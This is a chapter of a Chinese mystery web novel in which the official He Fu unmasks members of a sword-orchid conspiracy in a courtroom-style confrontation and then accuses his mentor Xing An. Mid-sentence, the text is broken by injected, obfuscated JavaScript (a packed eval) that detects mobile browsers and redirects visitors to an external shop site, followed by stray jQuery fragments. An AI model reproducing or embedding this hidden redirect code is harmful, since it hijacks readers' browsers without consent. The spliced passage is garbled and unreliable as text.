104. 剑兰(一)
作品:《大人,请动心(探案)》 话音落下,在场众人眼中皆是一震,紧接着便是一阵又一阵的私语声。
贺扶开口叫停:“还请诸位听贺某一言。”
等场面安静下来,贺扶才继续道:“贺某先来说一说安成王自裁一事吧。诸位可知安成王是如何死的?服毒,一种只有且末才有的毒,安成王曾出使且末,有且末的毒并不稀奇,这一点也能说明他确实是一心求死。可是问题在于,许侍郎,作为关押重犯的刑部要员,为何没有在搜身的时候搜出那药瓶?竟是让他这般随意的将毒药带入了大牢呢?”
对上贺扶的目光,许会泽冷笑一声道:“我怎么知道呢?谁知这贺大人没来之前什么事情都没有,怎么您一来那安成王就死了呢?我还没怀疑是你带去的药,杀了安成王。毕竟,之前在你的府上不也搜出了和且末联系的密信吗?”
“是啊。”贺扶肯定道,“怎么贺某没过去的时候没有事,我一过去安成王就死了呢?是有什么知情的人送去了密信吗?嗯?许侍郎?”
密信两个字咬得极重,许会泽不由想起那夜的事情,但还是继续道:“贺大人这话说得无理,我为何要让安成王死呢?”
“你当然要让他死,他也必须得死。自然不是为了你,而是为了你背后的人。若是顺着安成王查下去,说不准会查到他背后的人,也就是你们效忠的主人,于是安成王一定会死,而且一定是死在他自己的手上,那样线索才会断,才可以被认为是畏罪自杀。至于为何是在我来时死……”
贺扶笑着拿出一份信,正是那封带着剑兰花纹的信,他对着许会泽道,“不知许侍郎看到这封信可觉得熟悉?”
许会泽眼底一震,贺扶继续道:“前些日子许侍郎冒着被发现的风险都要去偷回,甚至损失了一员大将,今日贺某便在各位大人面前念一念,这究竟是什么东西。”
贺扶打开信封作势要念,许会泽立刻冲上前将那信夺过就要往嘴里塞,可是在看见贺扶没有丝毫慌乱的脸时慢了下来,他打开信封,里面却是一片空白。
“许侍郎这般着急做什么?那里面什么都没有。”贺扶慢条斯理地理了理方才被许会泽的动作弄乱的衣摆,“所以,许侍郎你和安成王所效忠的都是同一个人。得了那人的旨意,安成王杀害亲女嫁祸于我,阻止贺某继续查剑兰花纹的案子,却没想到最后阴谋败露,于是只能顺势将安成王关入大牢,寻个合适的时机自裁,然后刑部就可以说他是背后主谋,畏罪自杀。一切就会结束了。”
贺扶顿了顿,“可是偏偏我提前你们的计划几日去到了刑部,还拿出了这所为的证据。无奈之下,安成王只能提前自裁。可是这所谓的线索却是个空话,可惜你们被骗了。”
“可他们为何会被这是什么都不知道的线索吓到呢?”一官员发问。
贺扶微微一笑:“自然是他们的步骤乱了,有人在暗中扰乱了他们的谋算,他们不知道我是否和暗处那人联合起来,他们不知道我究竟掌握了多少,自然就怕了。以及,许侍郎在最近应该丢了些东西吧?”
丢了什么东西,贺扶没有明确指出。
“那他们背后的人究竟是谁?”一人怯怯发问。
贺扶回答道:“莫要着急,我们慢慢说。”他一双笑眼看向正襟危坐的章执,问,“安成王一案若是说起那便是从圣阳遇刺,嫁祸于我一事说起,那日似乎首辅大人也做了一件很重要的事情吧?”
众人皆知,那日的章执在众人面前指了贺扶私通外邦一事。
莫非那背后之人就是章执?
有人问出了这句话却在下一瞬噤声,那可是章执啊!是陛下面前的红人,就算是犯了什么罪没有陛下的意思谁敢动他?而作为被怀疑对象的章执却只是轻轻扫了一眼,没有说话。
“接下来,就是另一件事了。”
绍王府的案子,贺扶也算是当事人。念此,众人皆屏息以待。
“当年绍王府灭门的凶手是一个极其庞大的组织,人人身上都有剑兰花的纹饰。而在十五年后再一次出现在贺某的眼前,是因为一件盗窃案。此事即已结束那贺某也不必隐瞒了。半年前皇后生辰时陛下相赠的那块迦南玉曾失窃过,而盗走迦南玉的正是大名鼎鼎的神偷飞舟。”
“而那飞舟正是剑兰花纹组织的一员。而在遇到飞舟后我们便一路顺着线索走,去了湖州、崇安竟都是有关那组织的案子。这未免也太过巧合了吧?”
“莫不是有人特意引贺大人去的?”此时开口的是礼部尚书,他虽然年过半百但仍然是一派温润书生的模样。
“自然。可那人是谁呢?这就要再提起两位许久未见的朋友了。”贺扶看向章执,他也一直看着贺扶,安静等待着他接下来的话。
周围有人惊叹于到这个地步了,他竟还能这般平静的坐着?竟连神色都没有变一分。
“当时在回京路上贺某曾遇到一对夫妻,若不是那对夫妻贺某也不会知晓崇安有红楼一事。在红楼一案结束时那凶手曾暗指那对夫妻引贺某前去是为了要贺某的命,但明显不是。红楼聚集有仇怨之人互斗,但那对夫妻既无争吵也无仇家,与他们同去的人竟是连他们的模样都不知,又如何能要他们的命呢?”
“所以,他们引贺某前去的目的并非那凶手所说的灭口,而是指引贺某前去发现红楼的线索。”
又一人问道:“可那凶手不该是和那组织一道吗?为何要帮贺大人寻到线索呢?”
“那便要问首辅大人了。在红叶观内,首辅大人似乎与那人见过面吧?你二人相识,所以与他串通好引我查案,结束后他自然是归于碰巧来到崇安的首辅大人手中,倒时再使些手段,许是假死一场,让他消失在世上,以另一重身份生活。”贺扶将‘碰巧’两字咬得重了些。
说罢,他又轻笑一声:“不过这只是贺某的猜测罢了,真相如何也只有首辅大人得知了。不过,若是贺某没有猜错那一对失踪已久不见身影的夫妻此刻应该正在首辅大人的那处宅邸之中吧?”
章执错开贺扶的目光,轻轻抿了一口已经凉掉了的茶水。
礼部尚书疑道:“那这么说,首辅大人不是那剑兰花纹组织的头目?”
闻言,方才那位怀疑过章执的人更慌了,若是章执不是那他不就是对他有意见吗?如此之后被他针对都是小事,若是要了他的命,那可就完了!
他甚至没了听戏的兴致,一心只想溜走。可如今这堂中静得可怕,就算是一根针掉在地上都格外清晰,更别说一个大活人离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023894|143636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
众人皆在猜测这背后之人究竟是谁,让章执不惜花费如此力气引贺扶去查。
正当众人疑惑之时,又有两人翩然而至。一红一白,但走近一看,那一人红的不是衣裳,而是衣裳上的血迹。
贺扶看到来人,震惊了一瞬,朝她们背后看去,半晌没见到有其他人来,心下突然一颤。
那白衣人是霁尘君宋拿云,而染血的竟是失踪已久的安乐郡主宋衫。
见到宋衫时,沉默站在角落的歌阳侯很是诧异,但不知为何没有发出声音。
宋衫不敢去看贺扶,只是将背后包袱里的东西拿出来递到众人面前,“这是在嘉亲王府内找到的。”
看到东西后,堂内又惊起了一阵波澜。
“这是……面具?还有两个?”
剑兰花纹组织头目会戴面具一事众所周知,但其余人只知晓灭绍王府的藏羚羊面具和前些日子幸安从崇安带回的麋鹿面具,这次却是一次性见到了两个。
一朱鹮,一猞猁。
贺扶按下心中不妙,接过面具后继续道:“这猞猁面具正是在安成王府中搜到的,安成王确实是剑兰花纹组织一员,至于这朱鹮面具……”他看向还诧异看着宋衫的许会泽,问他,“许侍郎可觉得眼熟?”
这意思已经很明显了,这朱鹮面具正是许会泽的。
许会泽这才收回目光,“没有证据,凭什么说是我的?”
宋衫将包袱抖干净,里面是几封密信,每一封上都有这剑兰花的印记,与方才贺扶拿出的空白信件如出一辙。
“这些不是在嘉亲王府中搜到的吗?”有人疑问。
目光顿时集中在尚卿身上,他咽下嘴里嚼着的瓜子仁,把手里的瓜子皮放在身边家仆的手里,道:“那是物证,我是人证。是在他府上找到的。”
他这话说得轻飘飘的,但却没有一个人生疑。毕竟这嘉亲王可从来不做没有意义的事情,小小侍郎没必要让他去诬陷。
“而这信里的内容,很是眼熟啊。竟是与当日首辅大人指我私通且末的信件内容如出一辙。只是落款却是一朵剑兰花。”
“所以,这人究竟是谁啊?”有人按耐不住心中猜疑。
贺扶道:“一个与安成王有恩,值得他以命相助的人;一个能够有时间和地位与且末相交的人;一个可以让首辅大人费尽心思去扳倒的人。”
说着,他将目光转向了身后的幸安,不知何时他嘴角那抹从未消散过的笑,消失了。
“一个和我的父亲同窗,得我父母信赖,却能毫不留情的将他们杀害。养育我,嘘寒问暖;教导我何为君子之道却能在背后说离心之言,挑拨我与同门关系的人。”
“你说是吗?师父?”
如果说方才的场面是沉默,那此刻的场面却是彻底呆滞了。
像是有什么人暂停了时间。一时间竟是连出气进气的声音都消失了。
那可是幸安啊,那可是将贺扶一手带大,待他如亲子的幸安啊!!
幸安对上贺扶质问的目光,温声道:“证据呢?”
贺扶没有说话,也没有人敢说话。
良久,院内传来一道疲惫又沙哑的声音:“证据,在这里!”

